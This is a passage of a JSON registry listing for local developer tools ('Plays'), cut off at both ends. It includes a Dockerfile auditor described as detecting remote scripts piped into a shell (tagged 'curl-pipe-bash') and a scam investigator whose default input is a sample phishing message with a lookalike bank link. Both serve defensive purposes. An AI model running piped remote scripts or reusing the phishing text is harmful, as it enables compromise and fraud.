python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","scheduled-job-reconciliation","tool-launchd","effect-read-only","cron","crontab","launchctl","scheduled-jobs","github-actions","schedule-drift","silent-failure","false-green","stopped-automation","log-timestamps","run-interval","disabled-workflow","declared-vs-observed","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.2.3","published_at":"2026-09-06T00:59:07.863585+00:00","visibility":"public","quality_score":1,"size_bytes":55350,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for git repositories with scheduled GitHub Actions workflows. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for repositories","example":"3"},{"name":"stale_factor","type":"string","required":false,"default":"3","description":"How many declared intervals may pass with no observed run before the automation is called stopped","example":"3"},{"name":"mismatch_factor","type":"string","required":false,"default":"2.5","description":"How far the observed median gap may differ from the declared interval, in either direction, before it is a mismatch","example":"2.5"},{"name":"stale_repo_days","type":"string","required":false,"default":"60","description":"Days without a commit that make a repository eligible for GitHub's silent auto-disable of scheduled workflows","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e9c9e0cbc9eca2a1185cbe882c3799d492d4e43220e9668587a67a9975b6b293","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ajayrathod04/rtl-redzone@0.1.3","reference":"ajayrathod04/rtl-redzone@0.1.3","uri":"https://play.modiqo.ai/ajayrathod04/rtl-redzone@0.1.3","manifest_uri":"https://play.modiqo.ai/ajayrathod04/rtl-redzone@0.1.3","name":"rtl-redzone","title":"rtl-redzone","description":"Find RTL verification blind spots by injecting controlled faults and checking which ones survive existing tests.","owner":{"kind":"user","slug":"ajayrathod04"},"registry_organization":"ajayrathod04","tags":["rtl","verification","mutation-testing","hardware"],"primary_domain":"domain-uncategorized","author":"Hackathon team","version":"0.1.3","published_at":"2026-09-06T00:14:09.293515+00:00","visibility":"public","quality_score":0.875,"size_bytes":23304,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["run_redzone"]},"parameters":[{"name":"project_root","type":"string","required":true,"description":"Absolute project directory containing RTL and testbench files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:55bdf33dc4dc1d00478ddf8248fb3254efd1e0f572764e4db225cdea11519b55","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/test-gap-map@0.5.2","reference":"lgoyal6/test-gap-map@0.5.2","uri":"https://play.modiqo.ai/lgoyal6/test-gap-map@0.5.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/test-gap-map@0.5.2","name":"test-gap-map","title":"test-gap-map","description":"Maps the files a branch changed onto the CI jobs that would actually select them, and finds the code that changed but never reaches a test. Resolves GitHub path filters properly: a workflow with no paths filter matches every file and therefore covers everything, ** crosses directory boundaries while * does not, and paths-ignore subtracts. Test-running jobs are identified from real run commands and action names, never from test-shaped words in comments, because a false positive there hides the gap it should report. Read-only, no CI credentials, no API calls.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-test-coverage-audit","tool-github-actions","effect-read-only","test-coverage-gap","ci-path-filters","paths-ignore","changed-files","untested-change","job-selection","github-actions","glob-semantics","branch-diff","coverage-blind-spot","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.2","published_at":"2026-09-05T17:13:02.615542+00:00","visibility":"public","quality_score":1,"size_bytes":17814,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["owners","changed","selfcheck","workflows"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Path to the git repository to audit","example":"/Users/you/your-repo"},{"name":"base","type":"string","required":false,"default":"main","description":"Base branch to diff against, without the origin/ prefix","example":"main"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:86ea04b8c064d699284f965f99c6bc5e338ccbd109d055aa3788269092028465","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/dockerfile-audit@0.10.2","reference":"lgoyal6/dockerfile-audit@0.10.2","uri":"https://play.modiqo.ai/lgoyal6/dockerfile-audit@0.10.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/dockerfile-audit@0.10.2","name":"dockerfile-audit","title":"dockerfile-audit","description":"Audits Dockerfiles with multi-stage builds actually understood, because only the final stage ships. A credential in the shipped stage is recoverable from the published image and is reported as critical, while the same line in a discarded builder stage is reported separately and lower. A missing USER is not flagged when the base image is a nonroot variant that already drops privileges. Also finds unpinned base images, remote ADD without a checksum, remote scripts piped into a shell, and a whole-context COPY with no .dockerignore, which quietly bakes .git history and .env files into the image. Read-only, never builds or pulls anything.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-container-audit","tool-docker","effect-read-only","dockerfile","multi-stage-build","shipped-stage","baked-in-secret","unpinned-base-image","missing-user","root-container","remote-add","curl-pipe-bash","dockerignore","image-hygiene","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.10.2","published_at":"2026-09-05T17:12:18.563881+00:00","visibility":"public","quality_score":1,"size_bytes":17720,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for Dockerfiles","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c8ffb51269bb82aecf62fc65c14b5186ddcbfb3a738b258ddcc370d0d4b0b64","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mayank-s/time-mirror@0.1.5","reference":"mayank-s/time-mirror@0.1.5","uri":"https://play.modiqo.ai/mayank-s/time-mirror@0.1.5","manifest_uri":"https://play.modiqo.ai/mayank-s/time-mirror@0.1.5","name":"time-mirror","title":"time-mirror","description":"Daily and weekly mirror of where your time actually went — coding vs social media vs terminal vs AI — from local git, browser history, shell history and Screen Time. Zero setup, zero auth, READ-ONLY, nothing leaves your machine.","owner":{"kind":"org","slug":"mayank-s"},"registry_organization":"mayank-s","tags":["typescript","screen-time","git","browser-history","shell","ai","quantified-self","productivity"],"primary_domain":"domain-uncategorized","author":"mayank-s","version":"0.1.5","published_at":"2026-09-05T11:46:58.300297+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11501,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["run_timemirror"]},"parameters":[{"name":"window","type":"string","required":false,"default":"daily","description":"Report window: 'daily' (default), 'weekly', or a positive integer N for the last N days."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0539d0022918cb68389f8c6904316017fa2cb6c52038f5153974a98d3aa4eb4a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/shrinet82/plain-language-benchmark@0.1.0","reference":"shrinet82/plain-language-benchmark@0.1.0","uri":"https://play.modiqo.ai/shrinet82/plain-language-benchmark@0.1.0","manifest_uri":"https://play.modiqo.ai/shrinet82/plain-language-benchmark@0.1.0","name":"plain-language-benchmark","title":"plain-language-benchmark","description":"Your privacy policy needs sixteen years of schooling to read. Several US states make that illegal for an insurance policy, and WCAG makes it an accessibility failure. This scores a document with the four standard readability measures and checks it against published thresholds that are actually enforced -- WCAG 2.2 SC 3.1.5, and the Flesch minimums written into Maine, Florida, Connecticut and Texas insurance law. Then it quotes the specific sentences dragging the score down, with each one graded, so the fix is a rewrite list rather than a number. Reads .txt, .md, .html and .docx with the standard library alone -- no login, no upload, no install. Reads the file and never modifies it; writes one PDF report.","owner":{"kind":"user","slug":"shrinet82"},"registry_organization":"shrinet82","tags":["effect-read-only","effect-writes-one-local-file","audience-everyone","domain-workplace","job-readability-benchmark","no-credentials"],"primary_domain":"domain-workplace","author":"Shashwat Pratap Singh","version":"0.1.0","published_at":"2026-09-05T11:21:46.404834+00:00","visibility":"public","quality_score":1,"size_bytes":12230,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["report","scan_language","score_document","validate_input"]},"parameters":[{"name":"document","type":"string","required":false,"default":"","description":"Absolute path to a .txt, .md, .html or .docx document. Leave empty to score the sample policy bundled with this Play, so a first run needs no file of your own.","example":"/home/you/privacy-policy.docx"},{"name":"report","type":"string","required":false,"default":"plain-language.pdf","description":"Filename for the PDF report. Writes one file into the folder you run the Play from, every run, by default -- set to an empty string for no file at all. Give an absolute path to put it elsewhere.","example":"/home/you/plain-language.pdf"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:87625318674652cee6d2813a2429ab0066cfc600862425aa36c3d4a7e219bdcb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shrinet82/page-carbon-benchmark@0.1.0","reference":"shrinet82/page-carbon-benchmark@0.1.0","uri":"https://play.modiqo.ai/shrinet82/page-carbon-benchmark@0.1.0","manifest_uri":"https://play.modiqo.ai/shrinet82/page-carbon-benchmark@0.1.0","name":"page-carbon-benchmark","title":"page-carbon-benchmark","description":"Every page you ship costs someone bandwidth and somebody a little electricity, and almost nobody knows their own number. This downloads every file a page links, counts the bytes that actually crossed the wire, and benchmarks the total against the median home page from the HTTP Archive Web Almanac 2025 -- then converts it to grams of CO2e per view using the Sustainable Web Design Model v4. Shows which resource type is over the median, so the answer is actionable rather than a score. Stylesheets are read one level deep so fonts and background images declared inside them are counted; anything the page requests later from JavaScript is not, and the report says so. Read-only against the site; writes one PDF report.","owner":{"kind":"user","slug":"shrinet82"},"registry_organization":"shrinet82","tags":["effect-read-only","effect-writes-one-local-file","audience-everyone","domain-web-operations","job-page-weight-benchmark","no-credentials"],"primary_domain":"domain-web-operations","author":"Shashwat Pratap Singh","version":"0.1.0","published_at":"2026-09-05T11:08:49.413677+00:00","visibility":"public","quality_score":1,"size_bytes":10549,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":4,"names":["report","scan_page","measure_assets","validate_input"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://www.modiqo.ai","description":"The page to measure. Defaults to modiqo.ai so a first run needs nothing of your own.","example":"https://your-site.com"},{"name":"device","type":"string","required":false,"default":"mobile","description":"Which HTTP Archive median to benchmark against. Mobile is the stricter of the two and the one most traffic arrives on.","values":["mobile","desktop"],"example":"mobile"},{"name":"report","type":"string","required":false,"default":"page-carbon.pdf","description":"Filename for the PDF report. Writes one file into the folder you run the Play from, every run, by default -- set to an empty string for no file at all. Give an absolute path to put it elsewhere.","example":"/home/you/page-carbon.pdf"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3c4c188f4c31b4dc60c75464581b77edc68b4d4f15c31aa22fcef00b7e586dba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/json-to-types@0.2.23","reference":"sakshamsai26/json-to-types@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/json-to-types@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/json-to-types@0.2.23","name":"json-to-types","title":"json-to-types","description":"Generate a clean inferred TypeScript interface from sample JSON and identify nullable or questionable fields. Inference is explicitly sample-based; no API calls or files are written.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:34:45.343743+00:00","visibility":"public","quality_score":1,"size_bytes":7150,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":9,"names":["scope","boundary","classify","generate","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"sample","type":"string","required":true,"description":"Sample JSON; do not include secrets."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ced2862b8d3b6cdbe835bce9c98289f0bce8c8d948678dde61edf368a91b8349","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/integration-contract-maker@0.2.23","reference":"sakshamsai26/integration-contract-maker@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/integration-contract-maker@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/integration-contract-maker@0.2.23","name":"integration-contract-maker","title":"integration-contract-maker","description":"Draft a compact frontend-backend contract with endpoint, request, response, status/error cases, ownership, assumptions, and unresolved decisions before teammates code separately.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:39.907392+00:00","visibility":"public","quality_score":1,"size_bytes":8680,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":9,"names":["scope","boundary","classify","contract","inventory","preflight","constraints","verification","write_report"]},"parameters":[{"name":"feature","type":"string","required":true,"description":"Feature description; exclude secrets."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6db84808a032f23cb27ea5cef89acd161c1a116beeee84efef1404fa1f6a6a7b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/error-to-search-query@0.2.23","reference":"sakshamsai26/error-to-search-query@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/error-to-search-query@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/error-to-search-query@0.2.23","name":"error-to-search-query","title":"error-to-search-query","description":"Extract the useful signal from a noisy error or stack trace, identify likely technology context, and produce precise search queries plus evidence to collect next. Read-only and secret-redacting.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:25.975536+00:00","visibility":"public","quality_score":1,"size_bytes":7522,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":11,"names":["risks","scope","analyze","boundary","classify","inventory","preflight","dependencies","verification","write_report","recommendations"]},"parameters":[{"name":"error","type":"string","required":true,"description":"Pasted error or stack trace; exclude credentials."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8b2f228c8c9e2af35eadc13e1b867c7d8eddede0555f3c35054cea9ae3cff678","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":0,"shell":11,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":10,"fan_out":0,"for_each_steps":0,"complexity":11,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":11}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/judge-question-generator@0.2.23","reference":"sakshamsai26/judge-question-generator@0.2.23","uri":"https://play.modiqo.ai/sakshamsai26/judge-question-generator@0.2.23","manifest_uri":"https://play.modiqo.ai/sakshamsai26/judge-question-generator@0.2.23","name":"judge-question-generator","title":"judge-question-generator","description":"Generate realistic hackathon judging questions across users, problem, technical choices, differentiation, feasibility, limitations, scale, security, and substantiated value claims.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.23","published_at":"2026-09-05T08:33:13.933834+00:00","visibility":"public","quality_score":1,"size_bytes":8705,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":9,"names":["scope","boundary","classify","inventory","preflight","questions","constraints","verification","write_report"]},"parameters":[{"name":"problem","type":"string","required":true,"description":"Hackathon problem statement."},{"name":"project","type":"string","required":true,"description":"Your project description."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:19d876ad194a239f6598ec8ed7c49a4bf66a24e6b0d6811c72c780900c772af2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/krishna/scam-investigator@0.1.1","reference":"krishna/scam-investigator@0.1.1","uri":"https://play.modiqo.ai/krishna/scam-investigator@0.1.1","manifest_uri":"https://play.modiqo.ai/krishna/scam-investigator@0.1.1","name":"scam-investigator","title":"scam-investigator","description":"Forensic scam and phishing investigation Play that evaluates domain age, DNS health, brand impersonation, and psychological urgency triggers.","owner":{"kind":"org","slug":"krishna"},"registry_organization":"krishna","tags":["security","scam-detection","phishing","fraud","forensics"],"primary_domain":"domain-uncategorized","author":"krishna","version":"0.1.1","published_at":"2026-09-05T08:20:39.572516+00:00","visibility":"public","quality_score":0.875,"size_bytes":8697,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":6,"names":["probe_dns_health","probe_domain_rdap","analyze_heuristics","extract_indicators","verify_brand_domain","synthesize_forensics"]},"parameters":[{"name":"message","type":"string","required":false,"default":"Your SBI account will be blocked today. Update KYC immediately at http://sbi-kyc-update.top/login to avoid suspension. Do not share OTP.","description":"Raw suspicious message text (SMS, email body, WhatsApp text)"},{"name":"url","type":"string","required":false,"default":"","description":"Suspicious link or URL to investigate"},{"name":"sender","type":"string","required":false,"default":"","description":"Sender email address or phone number"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:486267c6fdbf88a0f6f899895725c1b0b9c40484c850ca7c02186a4a3001daa2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playroute@0.2.5","reference":"jvxplaymaker/playroute@0.2.5","uri":"https://play.modiqo.ai/jvxplaymaker/playroute@0.2.5","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playroute@0.2.5","name":"playroute","title":"playroute","description":"Inspects a Rote Play and recommends whether to keep, downgrade, or upgrade the current Codex or Claude Code model based on the reasoning work the Play leaves behind.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["rotekit","model-routing","developer-productivity","token-efficiency"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"0.2.5","published_at":"2026-09-05T08:19:04.773553+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":22584,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["route_model"]},"parameters":[{"name":"play","type":"string","required":true,"description":"Local or registry Rote Play reference to inspect"},{"name":"task","type":"string","required":false,"default":"","description":"Optional task or context the agent must handle around the Play"},{"name":"root","type":"string","required":false,"default":".","description":"Working directory used to resolve local Play references"},{"name":"harness","type":"string","required":false,"default":"auto","description":"Harness to inspect: auto, codex, or claude"},{"name":"execute","type":"boolean","required":false,"default":false,"description":"Launch the task once through a verified per-run harness command"},{"name":"approve_change","type":"boolean","required":false,"default":false,"description":"Explicitly approve a recommended per-run model or effort change"},{"name":"debug","type":"boolean","required":false,"default":false,"description":"Show extracted evidence, tier signals, model detection, and decision reasoning"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:01811d6402e49f827629d431b639002e9be6ed3d987e06372937e46926cfc1e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/deppulse/deppulse@0.0.2","reference":"deppulse/deppulse@0.0.2","uri":"https://play.modiqo.ai/deppulse/deppulse@0.0.2","manifest_uri":"https://play.modiqo.ai/deppulse/deppulse@0.0.2","name":"deppulse","title":"deppulse","description":"Is your build red because of your code, or a provider outage? Reads a repo's manifests, checks each dependency's real status page, and prints one worst-first board. Zero credentials, read-only.","owner":{"kind":"org","slug":"deppulse"},"registry_organization":"deppulse","tags":["devtools","status","dependencies","reliability"],"primary_domain":"domain-uncategorized","author":"Harshdipsaha","version":"0.0.2","published_at":"2026-09-05T05:44:46.320609+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":12597,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":1,"names":["run_deppulse"]},"parameters":[{"name":"dir","type":"string","required":true,"description":"Absolute path to the repository to scan (process steps don't inherit your shell's cwd, so pass the real path, e.g. 